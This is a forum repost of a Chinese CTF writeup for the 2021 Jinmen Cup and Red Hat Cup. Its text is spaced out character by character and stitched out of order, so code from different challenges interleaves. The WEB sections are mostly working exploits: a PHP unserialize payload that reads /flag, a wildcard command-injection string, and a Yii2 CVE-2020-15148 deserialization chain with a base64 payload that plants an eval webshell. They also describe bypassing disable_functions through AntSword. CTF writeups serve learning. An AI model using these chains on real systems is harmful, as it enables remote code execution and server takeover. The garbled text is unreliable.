搜索

[18005] 2021-05-10_2021津门杯&红帽杯writeup(附部分赛题文件下载链接)

文档创建者：s7ckTeam
浏览次数：17
最后更新：2025-01-18
2021-05-10_2021津门杯&红帽杯writeup(附部分赛题文件下载链接) 0 x 0 1   津 门 杯 津 门 杯 2 0 2 1 津 门 杯 & 红 帽 杯 w r i t e u p ( 附 部 分 赛 题 文 件 下 载 链 接 ) 原 创   黑 白 红 蓝 紫   H a c k i n g 黑 白 红   2 0 2 1 - 0 5 - 1 0 5 月 9 日 ， 津 门 杯 & 红 帽 杯 ， 一 天 两 赛 ， 充 实 的 一 天 ， 整 理 了 部 分 w r i t e u p 和 赛 题 原 文 件 。 （ 两 场 比 赛 的 难 度 都 不 小 ， 毕 竟 是 线 上 比 赛 ， 打 穿 了 也 不 好 看 嘛 ） 目 录 目 录 ▶ 0 x 0 1   津 门 杯 ▶ 0 x 0 2   红 帽 杯 ▶ 0 x 0 3   部 分 赛 题 下 载 链 接 p o w e r _ c u t < ? p h p c l a s s   l o g g e r {         p u b l i c   $ l o g F i l e ;         p u b l i c   $ i n i t M s g ;         p u b l i c   $ e x i t M s g ;         f u n c t i o n   _ _ c o n s t r u c t ( $ f i l e ) {                 / /   i n i t i a l i s e   v a r i a b l e s                 $ t h i s - > i n i t M s g = " # - - s e s s i o n   s t a r t e d - - # n " ;                 $ t h i s - > e x i t M s g = " # - - s e s s i o n   e n d - - # n " ;                 $ t h i s - > l o g F i l e   =     $ f i l e ;                 r e a d f i l e ( $ t h i s - > l o g F i l e ) ;         }         f u n c t i o n   l o g ( $ m s g ) {                 $ f d = f o p e n ( $ t h i s - > l o g F i l e , " a + " ) ;                 f w r i t e ( $ f d , $ m s g . " n " ) ;                 f c l o s e ( $ f d ) ;         }         f u n c t i o n   _ _ d e s t r u c t ( ) {         e c h o   " t h i s   i s   d e s t r u c t " ;         } } c l a s s   w e b l o g   {         p u b l i c   $ w e b l o g f i l e ;         f u n c t i o n   _ _ c o n s t r u c t ( )   {                 $ f l a g = " s y s t e m ( ' c a t   / f l a g ' ) " ;                 e c h o   " $ f l a g " ;         }         f u n c t i o n   _ _ w a k e u p ( ) {                 / /   s e l f : : w a f ( $ t h i s - > f i l e p a t h ) ;                 $ o b j   =   n e w   l o g g e r ( $ t h i s - > w e b l o g f i l e ) ;
0 x 0 2   红 帽 杯 红 帽 杯 有 一 处 迷 惑 点 ， 但 是 w e b l o g 是 序 列 化 出 来 的 ， 不 会 执 行 到 _ _ c o n s t r u c t ( ) 方 法 ， 而 是 利 用 到 l o g g e r 里 面 的 r e a d f i l e 函 数 ， 直 接 去 读 f l a g ， s t r _ r e p l a c e 的 绕 过 双 写 就 好 了 e x p ： p a y l o a d ： h a t e _ p h p 直 接 通 配 符 干 上 去 混 合 编 码 混 合 编 码 b a s e 6 4 解 码 后 ， 再 u r l 解 码 ， 得 到 用 / 隔 开 的 a s c i i 码 ， 转 字 符 串 就 出 来 了                 $ o b j   =   n e w   l o g g e r ( $ t h i s - > w e b l o g f i l e ) ;         }             p u b l i c   f u n c t i o n   w a f ( $ s t r ) {                 $ s t r = p r e g _ r e p l a c e ( " / [ < > * # ' | ? n   ] / " , " " , $ s t r ) ;                 $ s t r = s t r _ r e p l a c e ( ' f l a g ' , ' ' , $ s t r ) ;                 r e t u r n   $ s t r ;         }         f u n c t i o n   _ _ d e s t r u c t ( ) {                 e c h o   " t h i s   i s   d e s t r u c t " ;         } } $ l o g   =   $ _ G E T [ ' l o g ' ] ; $ l o g   =   p r e g _ r e p l a c e ( " / [ < > * # ' | ? n   ] / " , " " , $ l o g ) ; $ l o g   =   s t r _ r e p l a c e ( ' f l a g ' , ' ' , $ l o g ) ; $ l o g _ u n s e r   =   u n s e r i a l i z e ( $ l o g ) ; ? > < ? p h p c l a s s   w e b l o g   {         p u b l i c   $ w e b l o g f i l e   =   ' / f l f l a g a g ' ;         f u n c t i o n   _ _ c o n s t r u c t ( )   {                 $ f l a g = " s y s t e m ( ' c a t   / f l a g ' ) " ;                 e c h o   " $ f l a g " ;         }         f u n c t i o n   _ _ w a k e u p ( ) {                 / /   s e l f : : w a f ( $ t h i s - > f i l e p a t h ) ;                 $ o b j   =   n e w   l o g g e r ( $ t h i s - > w e b l o g f i l e ) ;         } } $ a   =   n e w   w e b l o g ( ) ; e c h o   s e r i a l i z e ( $ a ) ; O : 6 : " w e b l o g " : 1 : { s : 1 0 : " w e b l o g f i l e " ; s : 9 : " / f l f l a g a g " ; } ? > < ? = ` / ? ? ? / ? ? ? % 2 0 / ? ? ? ? ` ? >
M I S C         签 到         c o l o r f u l   c o d e         P i c P i c W E B         f i n d _ i t         f r a m e w o r k         W e b s i t e M a n g e r         e z l i g h t P W N         p a r s e r C R Y P T O         p r i m e g a m e 一 、 一 、 M I S C           1 、 签 到 签 到 附 件 名 称 叫 0 1 0 E d i t o r 直 接 选 择 编 码                 2 、 、   c o l o r f u l   c o d e d a t a 1 给 了 很 多 数 字 ， 但 是 不 超 过 2 0 个 数 字 ， 而 且 D a t a 2 前 6 0 位 是 有 数 据 的 猜 测 ： 猜 测 ： d a t a 2 的 前 的 前 6 0 位 是 位 是 2 0 个 个 R G B 值 值 E B C D I C . z i p ， 解 压 提 示 t x t 文 件 ， 根 据 E B C D I C 提 示 为 E B C D I C 编 码 E B C D I C
W E B 1 、 、 f i n d _ i t 目 录 扫 描 发 现   r o b o t s . t x t 存 在   1 n d e x x . p h p   ， 直 接 访 问 并 没 有 什 么 信 息 。 猜 测 存 在   v i m   备 份 文 件   访 问   v i e w - s o u r c e : h t t p : / / e c i 2 z e f c 9 5 c 4 5 r h g 0 w u e f r e . c l o u d e c i 1 . i c h u n q i u . c o m / . 1 n d e x x . p h p . s w p   拿 到 源 码 f r o m   P I L   i m p o r t   I m a g e x   =   3 7 y   =   1 9 1 i m   =   I m a g e . n e w ( " R G B " ,   ( x , y ) ) s 1   =   [ _   f o r   _   i n   o p e n ( " d a t a 1 " ,   " r " ) . r e a d ( ) . s p l i t ( "   " )   i f   _   ! =   " " ] s 2   =   o p e n ( " d a t a 2 " ,   " r b " ) . r e a d ( ) [ : 6 0 ] r g b   =   [ ] f o r   i   i n   r a n g e ( 0 ,   l e n ( s 2 ) ,   3 ) :         r g b . a p p e n d ( ( s 2 [ i ] ,   s 2 [ i + 1 ] ,   s 2 [ i + 2 ] ) ) p r i n t ( r g b ) f o r   i   i n   r a n g e ( l e n ( s 1 ) ) :         i m . p u t p i x e l ( ( i   / /   1 9 1 ,   i   %   1 9 1 ) ,   r g b [ i n t ( s 1 [ i ] ) ] ) i m . s a v e ( " r e s . p n g " ) f l a g { 8 8 8 4 2 f 2 0 - f b 8 c - 4 5 c 9 - a e 8 f - 3 6 1 3 5 b 6 a 0 f 1 1 } < ? p h p   $ l i n k   =   m y s q l _ c o n n e c t ( ' l o c a l h o s t ' ,   ' r o o t ' ) ;   ? > < h t m l > < h e a d >     < t i t l e > H e l l o   w o r l d d ! < / t i t l e >     < s t y l e >     b o d y   {         b a c k g r o u n d - c o l o r :   w h i t e ;         t e x t - a l i g n :   c e n t e r ;         p a d d i n g :   5 0 p x ;         f o n t   f a m i l y :   " O p e n   S a n s " , " H e l v e t i c a   N e u e " , H e l v e t i c a , A r i a l , s a n s - s e r i f ;     }
正 则 没 有 忽 略 大 小 写 ， 本 来 是 怎 么 想 办 法 怎 么 绕 过 d i s a b l e _ f u n c t i o n 读 f l a g . p h p 的 ， 但 是 写 入 查 看 p h p i n f o ( ) 的 时 候 发 现 访 问 h a c k . p h p 发 现 f l a g 被 记 录 进 了 p h p i n f o 的 全 局 变 量 里 ， 送 分 了 这 题 应 该 非 预 期 了 2 、 、 f r a m e w o r k C V E - 2 0 2 0 - 1 5 1 4 8     # l o g o   {         m a r g i n - b o t t o m :   4 0 p x ;     } < / s t y l e > < / h e a d > < b o d y >     < i m g   i d = " l o g o "   s r c = " l o g o . p n g "   / >     < h 1 > < ? p h p   e c h o   " H e l l o   M y   f r e i n d ! " ;   ? > < / h 1 >     < ? p h p   i f ( $ l i n k )   {   ? >         < h 2 > I   C a n ' t   v i e w   m y   p h p   f i l e s ? ! < / h 2 >     < ? p h p   }   e l s e   {   ? >         < h 2 > M y S Q L   S e r v e r   v e r s i o n :   < ? p h p   e c h o   m y s q l _ g e t _ s e r v e r _ i n f o ( ) ;   ? > < / h 2 >     < ? p h p   }   ? > < / b o d y > < / h t m l > < ? p h p # R e a l l y   e a s y . . . $ f i l e = f o p e n ( " f l a g . p h p " , " r " )   o r   d i e ( " U n a b l e   2   o p e n ! " ) ; $ I _ k n o w _ y o u _ w a n n a _ b u t _ i _ w i l l _ n o t _ g i v e _ y o u _ h h h   =   f r e a d ( $ f i l e , f i l e s i z e ( " f l a g . p h p " ) ) ; $ h a c k = f o p e n ( " h a c k . p h p " , " w " )   o r   d i e ( " U n a b l e   2   o p e n " ) ; $ a = $ _ G E T [ ' c o d e ' ] ; i f ( p r e g _ m a t c h ( ' / s y s t e m | e v a l | e x e c | b a s e | c o m p r e s s | c h r | o r d | s t r | r e p l a c e | p a c k | a s s e r t | p r e g | r e p l a c e | c r e a t e | f u n c t i o n | c a l l | ~ | ^ | ` | f l a g | c a t | t a c | m o r e | t a i l | e c h o | r e q u i r e | i n c l u d e | p r o c | o p e n | r e a d | s h e l l | f i l e | p u t | g e t | c o n t e n t s | d i r | l i n k | d l | v a r | d u m p / ' {     d i e ( " y o u   d i e " ) ; } i f ( s t r l e n ( $ a ) > 3 3 ) {     d i e ( " n o n o n o . " ) ; } f w r i t e ( $ h a c k , $ a ) ; f w r i t e ( $ h a c k , $ I _ k n o w _ y o u _ w a n n a _ b u t _ i _ w i l l _ n o t _ g i v e _ y o u _ h h h ) ; f c l o s e ( $ f i l e ) ; f c l o s e ( $ h a c k ) ; ? > / i n d e x . p h p ? c o d e = < ? = p h p i n f o ( ) ; ? >
Y i i 框 架 ， 目 录 扫 描 发 现 w w w . z i p 源 码 中 简 单 看 了 下 ， 知 道 这 是 Y i i 2 框 架 ， 搜 索 引 擎 找 一 下 如 何 查 看 Y i i 2 的 版 本 本 地 调 试 ， 在 w e b / i n d e x . p h p 中 添 加 一 行 e c h o   Y i i : : g e t V e r s i o n ( ) ; 得 到 当 前 版 本 信 息 ： 搜 索 引 擎 找 这 个 版 本 或 者 更 高 版 本 的 漏 洞 最 后 发 现 是 一 个 的 反 序 列 化 R C E 网 上 相 关 利 用 文 章 很 多 ， 我 参 考 的 是 以 下 两 篇 ： h t t p s : / / a n q u a n . b a i d u . c o m / a r t i c l e / 1 2 6 0 h t t p s : / / 0 x k a m i . t o p / 2 0 2 0 / 1 0 / 2 6 / 0 x 0 8 c v e - 2 0 2 0 - 1 5 1 4 8 - Y i i 2 反 序 列 化 漏 洞 复 现 / 2 . 0 . 3 2 C V E - 2 0 2 0 - 1 5 1 4 8
得 到 一 个 不 完 整 的 / i n d e x . p h p ? r = s i t e / a b o u t & m e s s a g e = G E T % 2 0 / r = s i t e / a b o u t & m e s s a g e = T z o y M z o i e W l p X G R i X E J h d G N o U X V l c n l S Z X N 1 b H Q i O j E 6 e 3 M 6 M z Y 6 I g B 5 a W l c Z G J c Q m F 0 Y 2 h R d W V y e V J l c 3 V s d A B f Z G F 0 Y V J l Y W R l c i I 7 T z o x N T o i R m F r Z X J c R 2 V u Z X J h d G 9 y I j o x O n t z O j E z O i I A K g B m b 3 J t Y X R 0 Z X J z I j t h O j E 6 e 3 M 6 N T o i Y 2 x v c 2 U i O 2 E 6 M j p 7 a T o w O 0 8 6 M j E 6 I n l p a V x y Z X N 0 X E N y Z W F 0 Z U F j d G l v b i I 6 M j p 7 c z o x M T o i Y 2 h l Y 2 t B Y 2 N l c 3 M i O 3 M 6 N z o i c G h w a W 5 m b y I 7 c z o y O i J p Z C I 7 c z o x O i I x I j t 9 a T o x O 3 M 6 M z o i c n V u I j t 9 f X 1 9 p h p i n f o 之 后 测 试 的 时 候 ， 发 现 s y s t e m 、 e v a l 之 类 的 一 些 函 数 好 像 都 没 有 效 果 ， 猜 测 可 能 设 置 了 d i s a b l e _ f u n c t i o n s 不 过 最 后 发 现 a s s e r t 能 用 、 f i l e _ p u t _ c o n t e n t s ( ) 也 能 用 < ? p h p n a m e s p a c e   y i i r e s t {         c l a s s   C r e a t e A c t i o n {                 p u b l i c   $ c h e c k A c c e s s ;                 p u b l i c   $ i d ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > c h e c k A c c e s s   =   ' a s s e r t ' ;                         $ t h i s - > i d   =   ' f i l e _ p u t _ c o n t e n t s ( ' m o c h u 7 . p h p ' , ' < ? p h p   e v a l ( $ _ P O S T [ 7 ] ) ; ? > ' ) ; ' ;                 }         } } n a m e s p a c e   F a k e r {         u s e   y i i r e s t C r e a t e A c t i o n ;         c l a s s   G e n e r a t o r {                 p r o t e c t e d   $ f o r m a t t e r s ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > f o r m a t t e r s [ ' c l o s e ' ]   =   [ n e w   C r e a t e A c t i o n ( ) ,   ' r u n ' ] ;                 }         } } n a m e s p a c e   y i i d b {         u s e   F a k e r G e n e r a t o r ;         c l a s s   B a t c h Q u e r y R e s u l t {                 p r i v a t e   $ _ d a t a R e a d e r ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > _ d a t a R e a d e r   =   n e w   G e n e r a t o r ;                 }         } } n a m e s p a c e {         e c h o   b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( n e w   y i i d b B a t c h Q u e r y R e s u l t ) ) ;
上 蚁 剑 ， 用 插 件 。 的 信 息 显 示 这 里 是 选 择 另 一 位 师 傅 给 两 种 解 法 另 一 位 师 傅 给 两 种 解 法 : p o c 1 : } ? > p h p i n f o A p a c h e / 2 . 4 . 6   ( C e n t O S )   P H P / 5 . 6 . 4 0 A p a c h e _ m o d _ c g i < ? p h p n a m e s p a c e   y i i r e s t {         c l a s s   C r e a t e A c t i o n {                 p u b l i c   $ c h e c k A c c e s s ;                 p u b l i c   $ i d ;                   p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > c h e c k A c c e s s   =   ' p h p i n f o ' ;                         $ t h i s - > i d   =   ' 1 ' ; / / 填 到 4 可 以 看 禁 用 函 数                 }         } }   n a m e s p a c e   F a k e r {         u s e   y i i r e s t C r e a t e A c t i o n ;           c l a s s   G e n e r a t o r {                 p r o t e c t e d   $ f o r m a t t e r s ;                   p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > f o r m a t t e r s [ ' c l o s e ' ]   =   [ n e w   C r e a t e A c t i o n ( ) ,   ' r u n ' ] ;                 }         } }   n a m e s p a c e   y i i d b {         u s e   F a k e r G e n e r a t o r ;           c l a s s   B a t c h Q u e r y R e s u l t {                 p r i v a t e   $ _ d a t a R e a d e r ;                   p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {
p a y l o a d ： ： 这 个 这 个 是 类 的 前 面 单 词 和 漏 洞 方 法 的 后 面 单 词 拼 出 来 的 是 类 的 前 面 单 词 和 漏 洞 方 法 的 后 面 单 词 拼 出 来 的 禁 用 了 函 数 ： 禁 用 了 函 数 ： 使 用 执 行 P H P 代 码 ， 传 马 上 去 如 果   a s s e r t i o n   是 字 符 串 ， 它 将 会 被   a s s e r t ( )   当 做   P H P   代 码 来 执 行 p o c 2 :                         $ t h i s - > _ d a t a R e a d e r   =   n e w   G e n e r a t o r ;                 }         } } n a m e s p a c e {         e c h o   b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( n e w   y i i d b B a t c h Q u e r y R e s u l t ) ) ; } s i t e / a b o u t ? r = s i t e / a b o u t & m e s s a g e = T z o y M z o i e W l p X G R i X E J h d G N o U X V l c n l S Z X N 1 b H Q i O j E 6 e 3 M 6 M z Y 6 I g B 5 a W l c Z G J c Q m F 0 Y 2 h R d W V y e V J l c 3 V s d A B f Z G F 0 Y V J l Y W R l c i I 7 T z o x N T o i R m F r Z X J c R 2 V u Z X J h d G 9 y I j o x O n t z O j E z O i I A K g B m b 3 J t Y X R 0 Z X J z I j t h O j E 6 e 3 M 6 N T o i Y 2 x v c 2 U i O 2 E 6 M j p 7 a T o w O 0 8 6 M j E 6 I n l p a V x y Z X N 0 X E N y Z W F 0 Z U F j d G l v b i I 6 M j p 7 c z o x M T o i Y 2 h l Y 2 t B Y 2 N l c 3 M i O 3 M 6 N z o i c G h w a W 5 m b y I 7 c z o y O i J p Z C I 7 c z o x O i I x I j t 9 a T o x O 3 M 6 M z o i c n V u I j t 9 f X 1 p c n t l _ a l a r m , p c n t l _ f o r k , p c n t l _ w a i t p i d , p c n t l _ w a i t , p c n t l _ w i f e x i t e d , p c n t l _ w i f s t o p p e d , p c n t l _ w i f s i g n a l e d , p c n t l _ w i f c o n t i n u e d , p c n t l _ w e x i t s t a t u s , p c n t l _ w t e r m s i g , p c n t l _ w s t o p s i g , p c n t l _ s i g n a l , p c n t l _ s i g n a l _ g e t _ h a n d l e r , p c n t l _ s i g n a l _ d i s p a t c h , p c n t l _ g e t _ l a s t _ e r r o r , p c n t l _ s t r e r r o r , p c n t l _ s i g p r o c m a s k , p c n t l _ s i g w a i t i n f o , p c n t l _ s i g t i m e d w a i t , p c n t l _ e x e c , p c n t l _ g e t p r i o r i t y , p c n t l _ s e t p r i o r i t y , p c n t l _ a s y n c _ s i g n a l s , a s s e r t < ? p h p n a m e s p a c e   y i i r e s t {         c l a s s   I n d e x A c t i o n {                 p u b l i c   $ c h e c k A c c e s s ;                 p u b l i c   $ i d ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > c h e c k A c c e s s   =   ' a s s e r t ' ;                         $ t h i s - > i d   =   ' f i l e _ p u t _ c o n t e n t s ( " 1 . p h p " , " < ? p h p   @ e v a l ( $ _ P O S T [ 1 ] ) ; ? > " ) ' ;                 }         } } n a m e s p a c e   F a k e r   {         u s e   y i i r e s t I n d e x A c t i o n ;         c l a s s   G e n e r a t o r {                 p r o t e c t e d   $ f o r m a t t e r s ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > f o r m a t t e r s [ ' c l o s e ' ]   =   [ n e w   I n d e x A c t i o n ( ) ,   ' r u n ' ] ;                 }         } } n a m e s p a c e   y i i d b {         u s e   F a k e r G e n e r a t o r ;         c l a s s   B a t c h Q u e r y R e s u l t {                 p r i v a t e   $ _ d a t a R e a d e r ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > _ d a t a R e a d e r = n e w   G e n e r a t o r ( ) ;                 }         } }
发 现 什 么 权 限 都 莫 有 ， 无 法 执 行 / r e a d f l a g 蚁 剑 插 件 绕 过 d i s a b l e ： 3 、 、 W e b s i t e M a n g e r 查 看 源 码 图 片 的 貌 似 是 跟 数 据 库 存 在 交 互 的 n a m e s p a c e {         u s e   y i i d b B a t c h Q u e r y R e s u l t ;         e c h o   b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( n e w   B a t c h Q u e r y R e s u l t ( ) ) ) ; } i d
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理